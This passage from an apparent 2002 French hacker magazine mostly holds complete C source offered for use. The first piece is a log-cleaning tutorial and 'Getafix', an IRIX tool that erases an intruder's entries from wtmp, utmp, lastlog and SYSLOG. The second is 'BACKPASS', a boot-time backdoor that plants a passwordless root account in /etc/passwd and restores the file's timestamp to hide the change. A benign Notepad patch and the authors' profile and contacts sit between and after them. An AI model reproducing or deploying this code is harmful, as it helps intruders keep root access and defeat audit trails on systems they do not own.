les entrées sauf celle-ci. L'idée développée par les autres cleaners est donc
de copier dans un fichier temporaire toutes les entrées d'un fichier de log
mis à part là notre. Ce fichier temporaire ressemblera donc en tout point au vrai
mais notre entrée n'y figurera pas. Il ne restera plus qu'à copier ce nouveau fichier
par dessus l'original.
[ En pratique ]
Voici comment se déroule une session de "nettoyage" d'un fichier, disons "utmp" :
Le prog. ouvre le fichier utmp en lecture ; il crée un fichier temporaire et l'ouvre
en écriture. Il lit les entrée une par une depuis utmp. Il lit donc la première entrée
et la plaçe dans une structure de type utmp. Il compare le champ ut_name ; s'il correspond
au nom d'user que vous avez entré en argument, il compare alors le champ ut_host ; si
ce champ correspond à l'hote que vous voulez effaçer, le prog sait qu'il est en présence
de la bonne entrée ; dans ce cas, il ne la copie pas dans le fichier temporaire. En effet,
seront sauvegardées dans le fichier temporaire toutes les entrées sauf la nôtre.
Les deux fichiers sont ensuite refermés, puis le temporaire vient écraser l'original,
l'entrée ciblée a donc disparu. En résumé :
¤ Ouverture de utmp en lecture.
¤ Création d'un fichier temporaire ouvert en écriture.
¤ Lectures des entrées depuis utmp dans une structure de type utmp.
¤ Comparaison du champ ut_name avec argv[1].
¤ Compariason du champ ut_host avec argv[2].
¤ Ecriture dans le fichier temporaire des entrées qui ne correspondent pas.
¤ Fermeture du fichier utmp et du temporaire.
¤ Remplaçement du fichier utmp par sa copie.
Nous allons voir comment écrire cela.
B. Programmation :
__________________
On va aller beaucoup plus vite que dans la pratie 1/B, vu toutes les fontions
nécessaires ici ont déja été étudiées plus haut. Nous allons voir ce qui se
passe dans le cas du fichier utmp :
On commençe par ouvrir le fichier de log tout en gérant l'erreur :
size=sizeof(u);
if((input=open(UTMP, O_RDONLY))<0){
fprintf(stderr,"Error during processing %s!/n",UTMP);
close(input); exit(-1);
}
C'est ensuite au tour de la copie :
if((output=creat(NEWUTMP, O_CREAT | O_WRONLY))<0){
fprintf(stderr,"Error during processing %s!/n",UTMP);
close(input); exit(-1);
}
Nos deux fichiers sont donc ouverts, l'un en lecture, l'autre en écriture, sur deux
descripteurs différents, respectivement input et output. On va donc lire les entrées
depuis utmp, sur le descripteur d'entrée, et les plaçer dans la structure de type
utmp, définie au préalable ; comme plus haut, on va utiliser read :
while((read(input, &u, size))>0){
Voila, on compare donc la première entrée avec le nom d'utilisateur que vous
voulez effaçer et avec le nom d'hôte :
if(strncmp(u.ut_host,host,strlen(host))==0){
if(strncmp(u.ut_name,user,strlen(user))==0){
}
}
On referme directe les if() et on ne fait rien, car si les noms
concordent, c'est qu'on tient l'entrée à effaçer ; comme on ne veut pas la
garder, on ne la copie pas dans le fichier temporarie, cela va de soit.
Sinon, c'est une entrée qui ne nous derrange pas, donc on la copie en
direction du descripteur de sortie :
else{
write(output,&u,size);
}
}
}
close(input);
close(output);
On referme les la boucle while() et les if() puis les descripteurs ;
Il nous reste à écraser l'ancien fichier utmp avec le nouveau :
unlink(UTMP);
link(NEWUTMP,UTMP);
chmod(UTMP,00644);
unlink(NEWUTMP);
Nos traçes sont à présent effaçes de utmp, sans avoir eus recours à bzero.
Vous voyez que c'est une méthode assez simple. Notez que c'est l'équivalent
en C de la commande "grep -v chaine old >> new" qui copie dans "new" toutes
les entrées de "old" ne contenant pas à "chaine".
Conclusion :
____________
A l'issue de cette article, vous savez désormais programmer un cleaner utilisant
l'une ou l'autre méthode de nettoyage. Si toutefois vous avez des questions, des
critiques ou des suggestions à me faire parvenir au sujet de ce texte, vous savez
où m'écrire.
-------------------------------------------------------------------------------------
VII. Getafix V1.0 Neofox
-------------------------------------------------------------------------------------
[ Introduction ]
Voici un log cleaner pour IRIX ; j'avais dans l'idée de lui trouve un nom rimant
en 'x' et << get a fix >> s'est imposé de lui même ; ce nom doit être évocateur
pour qui a saisit le jeu de mots. Comme toute version 1.0, celle-ci est tout à
fait perfectible et je l'améliorerai surement dans quelques temps.
[ Quelques explications ]
¤ Sous irix, /var/adm/lastlog n'est pas un fichier mais un répertoire.
Pour faire court, on dira que les derniers logins sont enregistrés dans
un fichier distinct pour chaque utilisateur. Ainis, si vous vous utilisez
le compte "toto", il vous faudra nettoyer /var/adm/lastlog/toto,
- je ne sais pas pourquoi je fais une fixation sur toto - .
Getafix détermine automatiquement la position du fichier lastlog pour
le compte que vous utilisez, pas besoin donc de modfier le source.
¤ Le fichier /var/adm/SYSLOG est l'équivalent sous irix des fichiers
/var/log/messages et /var/log/secure sous linux.
¤ J'ai rencontré un petit problème en écrivant ce prog : il semblerait que
sous irix, dumoins sous les 6.5 sur lesquelles je l'ai testé, la structure
"utmp" n'ait pas de champ "ut_hosts". Les entrées de utmp et de wtmp sont
donc recherchée seulement par logins, ce qui a pour conséquences qu'une mauvaise
entrée risque d'être effaçée en plus de la bonne ; pour l'instant, il faudra
faire avec, et comme on dit, on ne fait pas d'omelettes sans casser des oeufs.
Voici la bête ...
/* GETAFIX V1.0 -by Neofox 03/02
*
* Here is a log cleaner designed for IRIX.
* It cleans utmp, wtmp, lastlog and SYSLOG
* without zeroing entries out.
* To compile : gcc getafix.c -o getafix
*
* Tested on IRIX 6.5
*
*/
#include <stdio.h> /* fprintf */
#include <unistd.h> /* system */
#include <string.h> /* strncmp, lseek */
#include <stdlib.h> /* I don't remeber */
#include <fcntl.h> /* open, close */
#include <sys/stat.h> /* stat */
#include <sys/types.h> /* stat */
#include <pwd.h> /* getpwnam */
#include <utmp.h> /* struct utmp, wtmp */
#include <lastlog.h> /* struct lastlog */
/* Original log files */
#define UTMP "/var/adm/utmp"
#define WTMP "/var/adm/wtmp"
#define LASTLOGDIR "/var/adm/lastlog/"
#define SYSLOG "/var/adm/SYSLOG"
/* Cleaned log files */
#define NEWUTMP "/tmp/.utmp"
#define NEWWTMP "/tmp/.wtmp"
#define NEWLASTLOG "/tmp/.lastlog"
#define NEWSYSLOG "/tmp/.SYSLOG"
/* here comes buffer for SYSLOG */
#define BIGSIZE 9999999
char buf[BIGSIZE];
char lastlog[50];
/* File descriptors */
int input, output;
FILE *in, *out;
/* Counters */
int i, count, size;
/* Structures */
struct passwd *pwd;
struct utmp u;
struct utmp w;
struct lastlog l;
struct stat status;
int main (int argc, char *argv[]){
if(argc!=3){
fprintf(stderr,"Usage : %s <user> <host>\n", argv[0]);
exit(1);
}
if(geteuid()!=0){
fprintf(stderr,"%s is not suid root, aborting!\n", argv[0]);
exit(-1);
}
fprintf(stderr, "[*]-Getafix v1.0 -by Neofox [IOC]\n");
if((pwd=getpwnam(argv[1]))==NULL){
fprintf(stderr,"[*]-%s : no such user!\n", argv[1]);
exit(-1);
}
/**************************************************/
/* PROCESSING WTMP */
/**************************************************/
fprintf(stdout,"[1]-Checking %s : ",WTMP);
size=sizeof(w);
if((input=open(WTMP, O_RDONLY))<0){
fprintf(stdout,"access refused ?!\n");
close(input);
}
if((output=creat(NEWWTMP, O_CREAT | O_WRONLY))>0){
while((read(input, &w, size))>0){
if(strncmp(w.ut_name,argv[1],strlen(argv[1]))==0){
i++; count++;
}else{
write(output,&w,size);
}
}
}
if(i>0){
fprintf(stdout,"%d track(s) removed\n",i);
}
else{
fprintf(stdout,"No such entry, aborting\n");
}
close(input);
close(output);
/**************************************************/
/* PROCESSING UTMP */
/**************************************************/
fprintf(stdout,"[2]-Checking %s : ",UTMP);
size=sizeof(u);
if((input=open(UTMP, O_RDONLY))<0){
fprintf(stdout,"access refused ?!\n");
close(input);
}
if((output=creat(NEWUTMP, O_CREAT | O_WRONLY))>0){
while((read(input, &u, size))>0){
if(strncmp(u.ut_name,argv[1],strlen(argv[1]))==0){
i=0; i++; count++;
}else{
write(output,&u,size);
}
}
}
if(i>=1){
fprintf(stdout,"%d track(s) removed\n",i);
}
else{
fprintf(stdout,"No such entry, aborting\n");
}
close(input);
close(output);
/**************************************************/
/* PROCESSING LASTLOG */
/**************************************************/
strcat(lastlog,LASTLOGDIR); strcat(lastlog,argv[1]);
fprintf(stdout,"[3]-Checking %s : ",lastlog);
size=sizeof(l);
if((input=open(lastlog, O_RDONLY))<0){
fprintf(stdout,"access refused ?!\n");
close(input);
}
if((output=creat(NEWLASTLOG, O_CREAT | O_WRONLY))>0){
while((read(input, &l, size))>0){
if(strncmp(l.ll_host,argv[2],strlen(argv[2]))==0){
i=0; i++; count++;
}else{
write(output,&l,size);
}
}
}
if(i>=1){
fprintf(stdout,"%d track(s) removed\n",i);
}
else{
fprintf(stdout,"No such entry, aborting\n");
}
close(input);
close(output);
/**************************************************/
/* PROCESSING SYSLOG */
/**************************************************/
if(stat(SYSLOG,&status)==-1){
fprintf(stderr,"There's no %s here!\n",SYSLOG);
goto error;
}
fprintf(stdout,"[4]-Checking %s : ",SYSLOG);
if((in=fopen(SYSLOG,"r+"))<0){
fprintf(stdout,"access refused ?!\n");
fclose(in);
}
if((out=fopen(NEWSYSLOG,"w+"))>0){
while(fgets(buf,size,in)!=NULL){
if((strstr(buf,argv[1])==0)&&(strstr(buf,argv[2])==0)){
fputs(buf,out);
}else{
i++, count++;
}
}
}
fclose(in);
fclose(out);
if(i>0){
fprintf(stdout,"%d track(s) removed\n",i);
}
else{
fprintf(stdout,"No such entry, aborting\n");
}
/* this label is used if SYSLOG doesn't exists */
error :
/* check if it's allright */
if(count==0){
fprintf(stderr,"[*]-No entries found :");
fprintf(stderr," you're maybe not safe !\n");
exit(1);
}
/**************************************************/
/* REPLACING LOG FILES */
/**************************************************/
/* Removing original log files */
unlink(WTMP);
unlink(UTMP);
unlink(lastlog);
unlink(SYSLOG);
/* New log files have been replaced */
link(NEWWTMP,WTMP);
link(NEWUTMP,UTMP);
link(NEWLASTLOG,lastlog);
link(NEWSYSLOG,SYSLOG);
/* Mode is going to be set to 644 */
chmod(WTMP,00644);
chmod(UTMP,00644);
chmod(lastlog,00644);
chmod(SYSLOG,00644);
/* Erasing our /tmp files */
unlink(NEWWTMP);
unlink(NEWUTMP);
unlink(NEWLASTLOG);
unlink(NEWSYSLOG);
/* well, congratulations !*/
if(count>=3){
fprintf(stderr,"[*]-Good job, tracks succesfully removed!\n");
}else{
fprintf(stderr,"[*]-Tracks partially removed!\n");
}
return 0;
}
---------------------------------------------------------------------------------------------------
VIII. Corriger le "bug" du Notepad de Windows Emper0r
----------------------------------------------------------------------------------------------------
[ Introduction ]
A partir d'une certaine taille le notepad de windows ne peut plus ouvrir les txt
et nous demande si on veut l'ouvrir avec le worpad. Ca me parait assez idiot si
on a envie de lire ce txt on s'en fou que ce soit avec le notepad ou le worpad ;
moi ca m'énerve d'appuyer sur OUI a chaque fois.
Je vais apporter une petite modif très simple pour virer cette boite et worpad
s'ouvrira automatiquement, quand le fichier sera trop important pour être ouvert
avec notepad.
[ Au travail ]
Pour trouver l'endroit où s'ouvre cette boite 2 solutions:
-Avec softice:
Je lance le notepad ; je pose un 'bpx messageboxa' ; ensuite avec le notepad j'ouvre
un .txt de grande taille, la softice break je me retrouve direct sur le call qui
ouvre la msgbox.
-Avec WDASM:
Je dessasemble ce notepad et je regarde les imported functions, (Imp Fn).
Je recherche toute les référencés a l'api MessageBoxA ; a partir de la troisième,
je trouve quelque chose d'interrésent:
* Reference To: USER32.MessageBoxA, Ord:01ACh
|
:004033B1 FF15A8644000 Call dword ptr [004064A8] ->Affiche la MessageBoxA
:004033B7 83F806 cmp eax, 00000006 ->EAX=6 si appui sur OUI
:004033BA 0F85A7000000 jne 00403467 ->Si EAX différent de 6
:004033C0 6804010000 push 00000104 alors saute en 403467
:004033C5 8D858CFDFFFF lea eax, dword ptr [ebp+FFFFFD8C]
:004033CB 837D1001 cmp dword ptr [ebp+10], 00000001
:004033CF 1BFF sbb edi, edi
:004033D1 50 push eax
:004033D2 83C737 add edi, 00000037
* Possible Reference to String Resource ID=00056: "wordpad.exe" ->Intéréssant
|
:004033D5 6A38 push 00000038
:004033D7 FF3540554000 push dword ptr [00405540]
* Reference To: USER32.LoadStringA, Ord:019Eh ->Permet le lancement du
| Wordpad
:004033DD FF1520644000 Call dword ptr [00406420]
[ Explications ]
En 4033B1 ou on ouvre la MessageBoxA avec les bouton OUI et NON si on appui
sur OUI alors EAX=6, dans ce cas le saut en 4033BA n'est pas effectuer et on
voit en 4033d5 et 4033D7 les 2 push qui initialise l'api LoadStringA qui permet
de lancer le Wordpad.
Maintenant très simple on va remplace le 'Call dword ptr [004064A8]' en 4033B1 par un
'mov EAX, 00000006'. De cette facon la messagebox n'est pas affichée, EAX sera toujours = a 6,
le saut n'est pas effectué et le worpad ce lance.
Pour trouver le code hexa de 'mov EAX, 00000006' avec wdasm:
Debug, patch code et on tape: mov eax, 6 ENTRéE, ce qui nous donne B806000000.
on remplace a l'offset 33B1:
FF15A8644000
par
B80600000090 --> TRES IMPORTANT: ne pas oublier de rajouter un NOP a la fin pour obtenir
le même nombres d'octets.
Ce qui donne:
:004033B1 B806000000 mov eax, 00000006
:004033B6 90 nop
:004033B7 83F806 cmp eax, 00000006
:004033BA 0F85A7000000 jne 00403467
:004033C0 6804010000 push 00000104
:004033C5 8D858CFDFFFF lea eax, dword ptr [ebp+FFFFFD8C]
:004033CB 837D1001 cmp dword ptr [ebp+10], 00000001
:004033CF 1BFF sbb edi, edi
:004033D1 50 push eax
:004033D2 83C737 add edi, 00000037
* Possible Reference to String Resource ID=00056: "wordpad.exe"
|
:004033D5 6A38 push 00000038
:004033D7 FF3540554000 push dword ptr [00405540]
* Reference To: USER32.LoadStringA, Ord:019Eh
|
:004033DD FF1520644000 Call dword ptr [00406420]
[ Conclusion ]
Voilà c'est tout, je pense que c'est la façon la plus simple et la plus propre de faire.
-----------------------------------------------------------------------------------------------
IX. Une petite backdoor Neofox
-----------------------------------------------------------------------------------------------
NAME: BACKPASS.c V1.0
DATE: 12/03/02
DESCRIPTION: Petite backdoor exécutée à chaque démarrage qui
examine le contenu de /etc/passwd à la recherche d'une ligne
UID/GID 0 et passwordless. Si cette ligne n'existe pas alors
l'entrée "jsmith::0:0:John Smith:/home/jsmith:/bin/sh" est
ajoutée dans le milieu du fichier de mots de passe. La date
de ce fichier est ensuite remplaçée par celle de la dernière
modification. Les comptes utilisateurs sont rangés par ordre
d'UID croissant. Pour déterminer le milieu du fichier, cette
backdoor se base sur la valeur des UID. Si les ID des users
s'échelonnent entre 100 et 5000, attribuez une valeur comme
2500 à "CENTERUID". Ainsi, la nouvelle entrée sera plaçée au
milieu de celles des autres utilisateurs.
USAGE: Modifiez le script de démarrage approprié de manière
à faire lançer cet exécutable à chaque reboot. Il s'agit en
général de /etc/rc.d/rc.local. Regardez l'allure des entrées
du fichier passwd et editez les #define en conséquence.
--------------8<--------------------------------------------
/* BACKPASS.c V1.0 -by Neofox */
#include <stdio.h> /* fprintf */
#include <unistd.h> /* system */
#include <pwd.h> /* getpwnam */
#include <time.h> /* localetime_r */
#include <fcntl.h> /* fopen, fclose */
#include <string.h> /* strcat */
#include <sys/stat.h> /* stat */
#include <sys/types.h> /* stat */
#define PASSWD "/etc/passwd"
#define CENTERUID 500
/* let's define our account */
#define USER "jsmith"
#define PWD ""
#define UID 0
#define GID 0
#define GECOS "John Smith"
#define DIR "/home/jsmith"
#define SHELL "/bin/sh"
int i; /* counter */
FILE *output; /* file descriptor */
struct tm t; /* time */
struct stat status; /* stat */
struct passwd *pwd; /* euh ? */
/* here's what we'll need to change date */
time_t date;
int year, month, day, hour, min;
char newtime[50], change[50];
char annee[5],mois[5],j[5],h[5],m[5];
void changedate(){
/* to convert time value */
/* on a normal date */
date=status.st_ctime;
localtime_r(&date,&t);
year=1900+t.tm_year;
month=1+t.tm_mon;
day=t.tm_mday;
hour=t.tm_hour;
min=t.tm_min;
/* We must have [yyyymmddhhmm] */
sprintf(annee,"%d",year);
if(month<10){ sprintf(mois,"0%d",month); }
else { sprintf(mois,"%d",month); }
if(day<10){ sprintf(j,"0%d",day); }
else { sprintf(j,"%d",day); }
if(hour<10){ sprintf(h,"0%d",hour); }
else { sprintf(h,"%d",hour); }
if(min<10){ sprintf(m,"0%d",min); }
else { sprintf(m,"%d",min); }
/* copying all in a buffer */
strcat(newtime, annee);
strcat(newtime, mois);
strcat(newtime, j);
strcat(newtime, h);
strcat(newtime, m);
/* executing buffer */
sprintf(change,"touch -t %s %s",newtime,PASSWD);
system(change);
}
int main (int argc, char *argv[]){
if(argc!=1){
exit(1);
}
if(geteuid()!=0){
exit(1);
}
/* if backdoor is already on */
if((pwd=getpwnam(USER))!=0){
exit(1);
}
/* Looking for /etc/passwd date */
if((stat(PASSWD,&status))<0){
exit(-1);
}
if((output=fopen(PASSWD, "rw+"))>0){
i=1;
while((pwd=getpwent())>0){
putpwent(pwd,output);
if(pwd->pw_uid>300){
if(i>0){
fprintf(output,"%s:",USER);
fprintf(output,"%s:",PWD);
fprintf(output,"%d:",UID);
fprintf(output,"%d:",GID);
fprintf(output,"%s:",GECOS);
fprintf(output,"%s:",DIR);
fprintf(output,"%s",SHELL);
fprintf(output,"\n");i=0;
}
}
}
fclose(output);
}
/* Now, we have to */
/* restore the date */
changedate();
return 0;
}
--------------8<--------------------------------------------
----------------------------------------------------------------------------------------
X. Profil : Neofox Par Neofox, ben tien ...
----------------------------------------------------------------------------------------
Ah, voici venir enfin, le moment que vous attendez avec impatience :
Nous allons parler de mon sujet préféré entre tous, j'ai nommé ... MOA !!
-[ Voix off ] << pfff ... remballe ton ego mon grand ! >>
Bon, trève de plaisanterie.
Je vais vous brosser mon portrait, non pas justement dans un élan d'egocentrisme,
mais pour que vous puissiez avoir une idée de celui à qui vous avez à faire.
Commençons par le commençement :
Je m'apelle Xxxx-Xxxxxxxxx Xxxx, mais pour vous ce sera neofox.
Je suis né par un beau matin de février, un jeudi je crois, aux alentours de 4h55
à la maternité du 3 éme étage, mais comme tout le monde s'en pête à juste raison,
retenez simplement que je suis du début des années 80, et d'ailleurs, je ne préciserais
pas mon âge exact ; Je n'ai pas vraiemment le profil scientifique ; ma prof de math,
cette s...... m'a même traité de fumiste un jour. Enfin, passons. Tout gamin, j'étais
passionné d'astronomie, je le suis toujours ; c'est à cette époque - je devais avoir
8 ou 10ans - que j'ai touché pour la première fois un ordi, dans la salle info du club
d'astro, mais ça ne compte pas. Contrairement à certains petits veinards qui ont attaqué
la prog assez jeunes - je parle de toi Meik - j'ai eu mon premier vrai contact
avec un PC et mon premier PC à moi, assez tardivement, vers l'âge de 15 ans ;
malheureusement je ne suis pas venu directement à la programmation.
Rien ne me destinait donc à faire carrière en informatique, c'est d'ailleurs pour ça que
je ne ferai jamais carrière, dommage. Hein ? ... depuis quand je hack ?
Ca tombe bien que vous me posiez cette question ; enfait, je ne 'hack' pas ; je préfère,
de loin, mais alors de loin, parler de piratage ; de toute façon, l'essentiel de mon
activité se compose de programmation. J'ai développé cette passion un peu par hasard ;
c'était il y à un peu plus d'un an, mes premiers pas en programmation remontant à Janvier
2001. J'ai pleinement conscience de n'être pas elite dans ce domaine, mais je garde espoir
d'arriver un jour à ce niveau. Dans l'immédiat, je me définis comme << apprenti >>,
mais de toute manière, nous sommes tous en perpétuel apprentissage, non ?
En Juillet 2001, Meik m'a proposé de me joindre à lui pour l'écriture de ce mag et
j'ai trouvé l'idée intéessante pour deux raisons : tout dabord, car l'écriture
d'articles me permet de structurer mes conaissances sur un sujet précis ; ensuite, car
cela me pousse à explorer de nouvelles notions ; je prends des notes, je paufine ce
que je savais déja, j'approfondis, et c'est le résultat que je publie dans ce mag ;
tant mieux si ça peut servir à quelqu'un. En somme, faire partie de ce petit groupe
est trés enrichissant. Par ailleurs, je dois avouer que c'est plus sympa de participer
à l'élaboration d'un projet en commun, que de se retrouver à coder tout seul dans son
coin. Voila, c'est à peu prés tout ...
*** Pour participer activement à l'amélioration de ***
mon cadre de vie, envoyez vos dons à l'adresse
qui s'affiche en bas de votre écran. Merci.
--------------------------------------------------------------------------------------------
XI. CONTACTS IOC Staff
--------------------------------------------------------------------------------------------
ONT PARTICIPE A L'ELABORATION CE CE MAGAZINE :
¤ Meik : meik666@hotmail.com #150635264
¤ Neofox : neo_fox_2001@hotmail.com #150837448
¤ Emper0r : emper0r@secureroot.com #66985563
¤ Disk-Lexic : buffergohst@caramail.com
EN COLLABORATION EXCEPTIONELLE AVEC :
¤ Androgyne : rtcandrogyne@yahoo.fr #?
____ ___ __ __ ____ __ __ __ ___ __ ___ __ __
/ __| / \ | '_ \ / __|| | | | | |/ __/| | / \ | '_ \
| [__ | [ ] || | | || [__ | |_| - |\__ \| || [ ] || | | |
\____| \_____/ |__| |__| \____||____|\______||___/|__| \_____/ |__| |__|
C'est tout pour l'instant ; quelle(s) conclusion(s) pouvons nous
tirer de cette nouvelle issue ? Eh bien, qu'elle a été pour nous
l'occasion d'une collaboration sympa, entre plusieurs passionnés
tous domaines confondus, c'est déja ça ! Nous souhaiterions voir
ce mouvement s'intensifier au cours des issues à venir, mais ça
dépendra de vous ; bref, pour conclure cette conclusion, - comme
quoi, c'est un travail structuré ;@) - nous espérons que vous
avez aprécié ces quelques articles et nous vous donnons rendez
-vous à la sortie du prochain numéro ; on va terminer sur une
petite pensée bien connue: << Give Chang a fish, you'll food him
for a day. Teach Chang how to fish, you'll food him for the rest
of this life >> ; à méditer.
- Copyright © 2002 [IOC] -